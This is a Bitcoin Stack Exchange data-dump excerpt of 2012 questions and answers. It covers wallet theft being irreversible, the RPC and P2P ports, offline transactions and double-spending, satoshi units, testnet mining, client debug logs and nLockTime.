  <row Id="5753" PostTypeId="1" CreationDate="2012-12-12T15:48:01.380" Score="9" ViewCount="1403" Body="&lt;p&gt;What if my wallet gets hacked and the hacker transfers all &lt;strong&gt;BTC&lt;/strong&gt; to his account?&#xA;Is there is any way to get it back, or to open a dispute to specific address or anything else?&lt;/p&gt;&#xA;" OwnerUserId="2421" LastEditorUserId="15412" LastEditDate="2014-06-17T21:37:09.583" LastActivityDate="2021-06-15T23:53:52.050" Title="What happens if my wallet gets &quot;hacked&quot; and my BTC is stolen?" Tags="|security|theft|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5754" PostTypeId="2" ParentId="5753" CreationDate="2012-12-12T16:18:41.270" Score="10" Body="&lt;p&gt;All BTC transfers are final. If a hacker moved your BTC elsewhere, you can't get it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to keep your funds safe. See &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot;&gt;https://en.bitcoin.it/wiki/Securing_your_wallet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-12-12T16:18:41.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5755" PostTypeId="1" CreationDate="2012-12-12T17:54:42.700" Score="3" ViewCount="224" Body="&lt;p&gt;I am interested in tracking payments sent to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=126552.0&quot; rel=&quot;nofollow&quot;&gt;known scammers&lt;/a&gt;, and tracing where that money goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any website that compiles this information and shares it with others?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-12T18:36:00.707" Title="Tracking payments sent to scammers, and what they do with the money" Tags="|transactions|payment|fraud|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5756" PostTypeId="2" ParentId="5755" CreationDate="2012-12-12T18:28:27.913" Score="3" Body="&lt;p&gt;There was a project that seems to no longer be active called &lt;a href=&quot;http://toolongdidntread.com/announcement/the-future-of-blockviewer/&quot; rel=&quot;nofollow&quot;&gt;BlockViewer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem, of course, is Bitcoin's pseudonymous nature.  Beginning with the first transfer the trail can be essentially be blurred and the coins re-enter circulation through legitimate transactions with innocent parties.  Just like what happens when scammers use cash as well.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-12T18:36:00.707" LastActivityDate="2012-12-12T18:36:00.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5757" PostTypeId="1" AcceptedAnswerId="5762" CreationDate="2012-12-12T20:15:12.690" Score="41" ViewCount="40427" Body="&lt;p&gt;What is the difference between the protocol and commands used on default ports 8332 and port 8333?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I gather, port 8332 is the RPC port, it's &quot;sensitive&quot;, only allowed by local host by default, and it has one username &amp;amp; password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand port 8333 is some kind of P2P port that is used with Bitcoin transaction replication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone clarify the official names, purposes, and security of each of these ports?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which one uses JSON, and which is Binary?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="47827" LastEditDate="2021-09-08T10:40:19.793" LastActivityDate="2021-09-08T10:40:19.793" Title="What is the difference between the rpc port 8332 and port 8333?" Tags="|bitcoind|json-rpc|port|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5758" PostTypeId="1" CreationDate="2012-12-12T20:55:44.710" Score="2" ViewCount="1930" Body="&lt;p&gt;I'd like to extract the most performance possible from oclvanitygen.  Can anyone tell me what the best practices are with this tool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples may include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use operating system X, or video card Y&lt;/li&gt;&#xA;&lt;li&gt;Ensure that the file specified with the -F option has more than 7 characters per row&lt;/li&gt;&#xA;&lt;li&gt;Ensure that there are no more than Z quantity of lines in the file&lt;/li&gt;&#xA;&lt;li&gt;Set a custom grid size with the &lt;code&gt;-g&lt;/code&gt; option (what is this?)&lt;/li&gt;&#xA;&lt;li&gt;How many work items per thread ( &lt;code&gt;-w&lt;/code&gt; option)&lt;/li&gt;&#xA;&lt;li&gt;What custom options should I use (&lt;code&gt;-d&lt;/code&gt; option)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2024-04-06T05:07:10.967" Title="How do I optimize my usage of oclvanitygen?" Tags="|vanity-address|performance|open-source|vanitygen|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5759" PostTypeId="2" ParentId="4105" CreationDate="2012-12-12T21:29:57.800" Score="6" Body="&lt;p&gt;I would recommend &lt;a href=&quot;https://vircurex.com/&quot; rel=&quot;noreferrer&quot;&gt;VirCurEx&lt;/a&gt;. You can use it as a wallet or trade between different currencies. &lt;/p&gt;&#xA;" OwnerUserId="2423" LastEditorUserId="1409" LastEditDate="2012-12-13T02:59:08.013" LastActivityDate="2012-12-13T02:59:08.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5760" PostTypeId="2" ParentId="5735" CreationDate="2012-12-12T22:28:21.223" Score="2" Body="&lt;p&gt;You can easily avoid the BCRA exchange controls legally by purchasing bitcoins in Argentina for pesos and then sending those bitcoins to your friend. Your friend can exchange them for dollars or any other currency for that matter in his country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you are purchasing bitcoins for Argentine pesos, you are not violating the BCRA's exchange controls. The BCRA has the authority to regulate the transmition of pesos and foreign currency (&lt;em&gt;divisas&lt;/em&gt;) in Argentina, but it has no authority (not yet anyway) to regulate the sending of bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest group of bitcoiners in Argentina are found on the &lt;a href=&quot;http://listas.eudemocracia.org/listinfo/bitcoin&quot; rel=&quot;nofollow&quot;&gt;EUDEMOCRACIA MAILING LIST&lt;/a&gt;. You can subscribe to the list, post an offer to buy bitcoins for Argentine pesos, and within minutes you will have plenty of people with offers to sell you the bitcoins you need. There are several hundred members on the list and most will be happy to sell you bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="2425" LastActivityDate="2012-12-12T22:28:21.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5762" PostTypeId="2" ParentId="5757" CreationDate="2012-12-13T00:51:08.330" Score="35" Body="&lt;p&gt;The Bitcoin.org client will try to communicate to other nodes via port 8333 and those communications follow the &lt;a href=&quot;http://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin protocol&lt;/a&gt;.   If an explicit connection is given (IP address and port) the port setting can be overridden to use any port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin.org client can be configured to accept &lt;a href=&quot;http://en.bitcoin.it/wiki/API_tutorial_%28JSON-RPC%29#JSON-RPC&quot; rel=&quot;noreferrer&quot;&gt;JSON-RPC communications&lt;/a&gt;, and when that is enabled will, by default, be on port 8332.  Earlier versions of Bitcoin Core permitted this to be secured with &lt;a href=&quot;http://en.bitcoin.it/wiki/RPC_SSL&quot; rel=&quot;noreferrer&quot;&gt;SSL&lt;/a&gt; communications using the same port or a different port, however that capability has since been removed.  &lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2019-05-16T02:23:43.990" LastActivityDate="2019-05-16T02:23:43.990" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="5763" PostTypeId="1" CreationDate="2012-12-13T05:23:55.510" Score="9" ViewCount="2675" Body="&lt;p&gt;Is it possible to buy or sell something using Bitcoin, in an offline mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if I had my wallet on my mobile phone and I wanted to send or receive money from another Bitcoin user who also has their wallet on a mobile phone, can we send/receive bitcoins offline to each other and then later re-sync the transaction to the network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find offline mode critical for this currency to progress beyond a simple crypto-currency experiment because relying on the network means that if network access is unavailable, your wallet is useless.&lt;/p&gt;&#xA;" OwnerUserId="2429" LastEditorUserId="1409" LastEditDate="2012-12-13T17:51:49.387" LastActivityDate="2012-12-14T00:40:26.987" Title="Can I buy or sell with bitcoins offline?" Tags="|transactions|client|bitcoin-economy|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5764" PostTypeId="2" ParentId="5763" CreationDate="2012-12-13T06:21:40.903" Score="3" Body="&lt;p&gt;Take a look at Bitcoin apps available for your mobile phone. Several are recommended in answers to question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/189/can-i-send-bitcoins-with-my-mobile-phone&quot;&gt;&lt;em&gt;Can I send bitcoins with my mobile phone?&lt;/em&gt;&lt;/a&gt;. Look for apps that offer some kind of offline mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, the highly recommended &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Bitcoin Wallet&lt;/strong&gt; app&lt;/a&gt; for Android mentions in its feature list, &quot;Enter transactions while offline, will be executed when online&quot;.&lt;/p&gt;&#xA;" OwnerUserId="975" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-12-13T06:21:40.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5765" PostTypeId="2" ParentId="5763" CreationDate="2012-12-13T07:31:56.947" Score="2" Body="&lt;p&gt;Technically it is possible: the sender creates transaction to payee's wallet, signs it, payee verifies it, then broadcasts it to the network when able.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in terms of security it is even worse than accepting zero-confirmation transacrions: the payer can create another transaction transfering all his money to some other address and broadcast it before payee broadcast &quot;honest&quot; transaction, thus invalidating &quot;honest&quot; transaction since coins are already spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an option, there are &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;Casascius's physical bitcoins&lt;/a&gt;. This option, however, requires trust to 3rd party (coin issuer), which is somewhat against bitcoin ideology, in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Most modern terminals for plastic cards require network access to function, and it rarely causes any complications. The bigger problem with bitcoin is requirement for verification, which can take quite a long time. It could be lifted (decreasing security).&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2012-12-13T07:31:56.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5766" PostTypeId="1" CreationDate="2012-12-13T14:49:21.250" Score="0" ViewCount="424" Body="&lt;p&gt;I would like all my mined coins (solo mining, testnet so far) to go to a different default account.  I'm &lt;strong&gt;not&lt;/strong&gt; referring to the distribution a mining pool will do to all of its miners (Pay per share, etc). Instead I'm talking about the first payout where a reward + fees is generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to make keep the private key (where the first 25 BTC is sent) offline and &lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T09:04:22.887" LastActivityDate="2016-03-16T09:04:22.887" Title="Changing the first payout address when a reward + fees is generated" Tags="|bitcoind|solo-mining|mining-software|coinbase-transaction|mining-technical-details|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5767" PostTypeId="1" AcceptedAnswerId="5773" CreationDate="2012-12-13T17:28:14.833" Score="2" ViewCount="726" Body="&lt;p&gt;What does the main.cpp source-code file do? I know what main.cpp files are for in general, but specifically in the case of bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="196" LastEditDate="2012-12-14T19:35:31.927" LastActivityDate="2015-04-02T19:47:13.037" Title="What is main.cpp for in bitcoind?" Tags="|client|bitcoin-core|c++|" AnswerCount="1" CommentCount="2" ClosedDate="2015-04-02T19:47:16.773" ContentLicense="CC BY-SA 3.0" />
  <row Id="5768" PostTypeId="2" ParentId="5678" CreationDate="2012-12-13T18:43:45.550" Score="1" Body="&lt;p&gt;Send the RPC Stop command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd &quot;C:\Program Files (x86)\Bitcoin\daemon&quot;&#xA;bitcoind stop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ThreadRPCServer method=stop&#xA;Flush(false)&#xA;blkindex.dat refcount=0&#xA;blkindex.dat checkpoint&#xA;ThreadSocketHandler exited&#xA;blkindex.dat detach&#xA;ThreadMessageHandler exited&#xA;connection timeout&#xA;ThreadOpenConnections exited&#xA;ThreadDumpAddress exited&#xA;&#xA;blkindex.dat closed&#xA;DBFlush(false) ended          219780ms&#xA;StopNode()&#xA;Flushed 12513 addresses to peers.dat  280ms&#xA;Flush(true)&#xA;DBFlush(true) ended               0ms&#xA;Bitcoin exited&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-13T18:43:45.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5769" PostTypeId="2" ParentId="3561" CreationDate="2012-12-13T19:01:01.950" Score="5" Body="&lt;p&gt;Use the &lt;code&gt;getpeerinfo&lt;/code&gt; RPC command (available since v0.7.0).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-12-13T19:01:01.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5770" PostTypeId="1" AcceptedAnswerId="5778" CreationDate="2012-12-13T21:37:38.723" Score="6" ViewCount="4329" Body="&lt;p&gt;Is it possible to mine coins on testnet using CPU? GPU?  How about FPGAs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any pools running on testnet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I am looking for this is so I can master the new API's relating to &lt;code&gt;AddMultiSigAddress&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-23T12:57:22.517" LastActivityDate="2019-02-24T23:25:36.673" Title="How do I generate coins on testnet? CPU, GPU, FPGA? Are there pools?" Tags="|mining-pools|development|testnet|solo-mining|cpu-mining|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5771" PostTypeId="1" CreationDate="2012-12-13T23:54:58.883" Score="2" ViewCount="333" Body="&lt;p&gt;I'm implementing part of the Bitcoin client in C# and noticed that I have the choice between &lt;a href=&quot;http://en.wikipedia.org/wiki/FIPS_140-2&quot; rel=&quot;nofollow&quot;&gt;FIPS 140-2&lt;/a&gt; and non certified versions of SHA256.  Supposedly both versions give the same hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the choice of SHA-2 library matter for Bitcoin?  Does the FIPS-2 library exist in Mono and mobile devices?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2012-12-19T00:55:53.687" LastActivityDate="2012-12-19T04:44:37.490" Title="Does FIPS 140-2 crypto certification matter for Bitcoin?" Tags="|development|encryption|c#|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5772" PostTypeId="2" ParentId="5763" CreationDate="2012-12-14T00:40:26.987" Score="2" Body="&lt;p&gt;If you trust your counterparty not to double-spend on you, certainly this is possible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a &lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;raw transaction&lt;/a&gt; (available with bitcoind, or through other methods) and then instead of broadcasting it you simply share it with your counterparty.  Then when connectivity is re-established the transaction is broadcast and confirmed (presuming the counterparty didn't double-spend the funds on you.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction can be inspected using &lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;BrainWallet.org&lt;/a&gt; (which is a static web page that can be copied and used when offline).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is something along the lines of writing a check though.   Without connectivity there's no knowing if there were funds available to begin with though.  So there's not a whole lot of an advantage to doing this other than how the recipient of the funds has the technical ability to broadcast the transaction at a later time to obtain access to the funds (if the transaction was legit to begin with and the payer didn't double spend after.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-14T00:40:26.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5773" PostTypeId="2" ParentId="5767" CreationDate="2012-12-14T02:08:15.170" Score="5" Body="&lt;p&gt;It just contains an apparently random collection of functions used by the program. It also declares some global structures such as the main lock, the transaction pool, orphan block tracking, and so on. It contains high-level block and transaction functions. Ironically, it does &lt;em&gt;not&lt;/em&gt; contain the actual &lt;code&gt;main&lt;/code&gt; function -- that's in &lt;code&gt;init.cpp&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-12-14T02:08:15.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5774" PostTypeId="2" ParentId="5771" CreationDate="2012-12-14T02:10:02.660" Score="2" Body="&lt;p&gt;You should basically &lt;em&gt;never&lt;/em&gt; choose FIPS-140 unless you have no choice. FIPS-140 compliance is provided primarily for people who must comply with FIPS-140 for regulatory or policy reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that that's not to say FIPS-140 &lt;em&gt;validation&lt;/em&gt; is bad. It's great. If it finds bugs or problems, that's a pure win. If you have a choice between an implementation that has been FIPS validated and one that has not, the former is the better choice. But that has nothing to do with whether you enable FIPS-140 modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your implementation has been FIPS validated. &lt;em&gt;Don't&lt;/em&gt; brain damage it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-12-14T02:10:02.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5775" PostTypeId="1" AcceptedAnswerId="5777" CreationDate="2012-12-14T04:07:24.747" Score="7" ViewCount="3872" Body="&lt;p&gt;If the ability to spend bitcoins and therefore bitcoins depend on/correspond to private keys, how can fractions of coins exist? Can the key be split up? How are fractional transactions signed versus integer transactions? &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3663/why-can-we-have-small-fractions-of-a-bitcoin&quot;&gt;I am not asking what the subdivisions of bitcoin are or how it can be further subdivided.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2012-12-14T07:14:38.350" Title="How are fractions of bitcoin implemented and spent?" Tags="|private-key|spending|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5776" PostTypeId="2" ParentId="5775" CreationDate="2012-12-14T04:43:52.113" Score="3" Body="&lt;p&gt;The private keys you mention is nothing but &quot;permission&quot; to make changes to the P2P &lt;a href=&quot;http://en.wikipedia.org/wiki/General_ledger&quot; rel=&quot;nofollow&quot;&gt;General Ledger&lt;/a&gt; known as the bitcoin network.  A &quot;Bitcoin&quot; really doesn't exist, rather a Bitcoin is just an entry in the GL, with a deposit into your &quot;public key&quot; (aka account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When money is added to your account, someone else (the spender) signs the transaction and dedicates the funds to your public key.  When they do this, they use their private key to create a &quot;spend entry&quot; and assign a number (or fraction thereof) to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So think of the key as &quot;permission to spend the account, or subtract any decimal value up to eight (0.00000000 BTC) decimal places&quot;.  If you lose this private key, you lose the ability to spend the money and it's lost forever.  If someone hacks your computer, or steals your key, they have permission to spend your coins.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-14T04:43:52.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5777" PostTypeId="2" ParentId="5775" CreationDate="2012-12-14T04:43:59.710" Score="2" Body="&lt;p&gt;The analogy of &quot;coins&quot; as individual objects that can be handled is misleading. The atomic unit in Bitcoin is a satoshi, but satoshis are not handled individually, rather in each transaction it is specified how many satoshis (as an integer variable) move from where to where. The total number of satoshis in the input must be at least as great as in the output, and all the inputs must be digitally signed by the owners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is what allows you to prove ownership of given outputs. The way it is used for signatures doesn't really depend on how many different outputs you have and what is the value of each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't even a meaningful concept of &quot;a bitcoin&quot; in the software, a bitcoin is just shorthand for 100,000,000 satoshis.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-12-14T04:43:59.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5778" PostTypeId="2" ParentId="5770" CreationDate="2012-12-14T04:48:24.423" Score="7" Body="&lt;p&gt;Testnet is designed to test Bitcoin software - including parts that have to do with finding blocks. As such, it should be easy for developers to generate testnet coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, it will be easy to solo mine on a CPU to generate them, and you should &lt;em&gt;not&lt;/em&gt; use anything heavier than that because you would ruin it for everyone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also not designed to test pools, by the way. If you need a pool for whatever you're doing you can do that (but don't bring too much hashpower to it), but if it's the pool itself you're testing, do it on the main net.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-12-14T04:48:24.423" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5779" PostTypeId="2" ParentId="5775" CreationDate="2012-12-14T07:14:38.350" Score="5" Body="&lt;p&gt;Bitcoin doesn't use the concept of &quot;balances&quot; it uses transactions.  A transaction consists of inputs and outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction amount is the total of all inputs.  Each input in a transaction is spent in its entirety during the transaction.   And the outputs can total any amount up to the total transaction amount.  Any amount remaining (inputs - outputs) goes to the miner as a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a transaction might look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INPUTS:&#xA;25 BTC&#xA;50 BTC&#xA;&#xA;OUTPUTS&#xA;40.2 BTC&#xA;34.7 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the 75 BTC total inputs, less 74.9 BTC total outputs means 0.1 BTC goes to the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, at the protocol level, the 25 BTC amount is really 2,500,000,000 because each 1 BTC is actually 100,000,000 Satoshis.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the 34.7 BTC output was really the number 3,470,000,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are no fractions.  These are all integers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the client displays these numbers, it shows them in whatever units the client is configured to use (BTC, mBTC, uBTC).&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-14T07:14:38.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5780" PostTypeId="1" AcceptedAnswerId="5785" CreationDate="2012-12-14T10:54:19.600" Score="3" ViewCount="601" Body="&lt;p&gt;Does this mean the transaction had to come from a Blockchain.info/wallet user (or perhaps someone using &lt;a href=&quot;https://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info/pushtx&lt;/a&gt;)?  Or could this indicate something else (e.g., a node from Tor even)?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-12-14T18:27:59.487" Title="When does Blockchain.info show 127.0.0.1 as &quot;first relayed by&quot; for a transaction?" Tags="|transactions|blockchain|relay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5781" PostTypeId="1" AcceptedAnswerId="5782" CreationDate="2012-12-14T11:00:46.100" Score="3" ViewCount="8008" Body="&lt;p&gt;In the Bitcoin-QT client, what does the debug.log look like when a new block is found?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-14T11:00:46.100" Title="What does the debug output look like when a new block is found?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5782" PostTypeId="2" ParentId="5781" CreationDate="2012-12-14T11:00:46.100" Score="3" Body="&lt;p&gt;I got the following output when I set &lt;code&gt;gen=1&lt;/code&gt; on test net:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BitcoinMiner:&#xA;proof-of-work found  &#xA;  hash: 00000000502cfb2fe549f1d672ff60cab179b8c91c95fe6d4d9dce490a8e00e8  &#xA;target: 00000000ffff0000000000000000000000000000000000000000000000000000&#xA;CBlock(hash=00000000502cfb2fe549, ver=2, hashPrevBlock=000000008efd2a2075c9, hashMerkleRoot=cae3a8d5d1, nTime=1355478291, nBits=1d00ffff, nNonce=119890730, vtx=1)&#xA;  CTransaction(hash=cae3a8d5d1, ver=1, vin.size=1, vout.size=1, nLockTime=0)&#xA;    CTxIn(COutPoint(0000000000, 4294967295), coinbase 03b39b00010e062f503253482f)&#xA;    CTxOut(nValue=50.00000000, scriptPubKey=031e72826fe94305e81a34e34ea316)&#xA;  vMerkleTree: cae3a8d5d1 &#xA;generated 50.00&#xA;keypool keep 6&#xA;AddToWallet cae3a8d5d1  new&#xA;NotifyTransactionChanged cae3a8d5d1feb8e058ddf4a30d021a9f1f85775b474456f4d6b595ffd832b7f3 status=0&#xA;updateWallet cae3a8d5d1feb8e058ddf4a30d021a9f1f85775b474456f4d6b595ffd832b7f3 0&#xA;   inWallet=1 inModel=0 Index=0-0 showTransaction=0 derivedStatus=0&#xA;SetBestChain: new best=00000000502cfb2fe549  height=39859  work=4384611213659391  date=12/14/2012 09:44:51&#xA;&#xA;ProcessBlock: ACCEPTED&#xA;CreateNewBlock(): total size 1000&#xA;Running BitcoinMiner with 1 transactions in block (189 bytes)&#xA;CreateNewBlock(): total size 1000&#xA;Running BitcoinMiner with 1 transactions in block (189 bytes)&#xA;CreateNewBlock(): total size 1000&#xA;Running BitcoinMiner with 1 transactions in block (189 bytes)&#xA;CreateNewBlock(): total size 1000&#xA;Running BitcoinMiner with 1 transactions in block (189 bytes)&#xA;keypool added key 110, size=101&#xA;connection timeout&#xA;keypool reserve 10&#xA;CreateNewBlock(): total size 1000&#xA;Running BitcoinMiner with 1 transactions in block (189 bytes)&#xA;CreateNewBlock(): total size 1000&#xA;Running BitcoinMiner with 1 transactions in block (189 bytes)&#xA;CreateNewBlock(): total size 1000&#xA;Running BitcoinMiner with 1 transactions in block (189 bytes)&#xA;CreateNewBlock(): total size 1000&#xA;Running BitcoinMiner with 1 transactions in block (189 bytes)&#xA;received getdata for: block 00000000502cfb2fe549&#xA;received getdata for: block 00000000502cfb2fe549&#xA;received getdata for: block 00000000502cfb2fe549&#xA;received getdata for: block 00000000502cfb2fe549&#xA;received getdata for: block 00000000502cfb2fe549&#xA;received getdata for: block 00000000502cfb2fe549&#xA;received getdata for: block 00000000502cfb2fe549&#xA;received getdata for: block 00000000502cfb2fe549&#xA;received getdata for: block 00000000502cfb2fe549&#xA;received getdata for: block 00000000502cfb2fe549&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-14T11:00:46.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5783" PostTypeId="1" AcceptedAnswerId="6035" CreationDate="2012-12-14T13:31:13.533" Score="11" ViewCount="4373" Body="&lt;p&gt;I'd like to know if there are transactions that can only take place at some predefined moment. In principle, it should be possible to use the parameter nLockTime to wait for a particular block number:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#tx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be useful in certain contracts, but replacement is not as yet supported:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/861/why-isnt-transaction-replacement-supported&quot;&gt;Why isn&amp;#39;t transaction replacement supported?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, it seems you still can, in principle, create a simple, unreplaceable transaction with a wait time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any example of such a transaction in the blockchain? If not, would it be accepted by the standard client or would it be necessary to convince one miner to include it in one of his/her blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Opened a discussion in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=131443.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=131443.0&lt;/a&gt; to delve further.&lt;/p&gt;&#xA;" OwnerUserId="2281" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-11-15T13:49:51.860" Title="Transactions with a wait time (using nLockTime)" Tags="|transactions|blockchain|protocol|timestamp|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
